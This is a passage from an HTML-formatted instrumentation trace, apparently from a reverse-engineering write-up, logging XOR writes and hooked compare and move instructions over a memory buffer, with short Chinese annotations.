class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000dd3: cmp esi, <span class="number">0</span>x35</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dcd]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010007af: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007a9]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x58</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010010df: mov esi, <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010010f9: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span 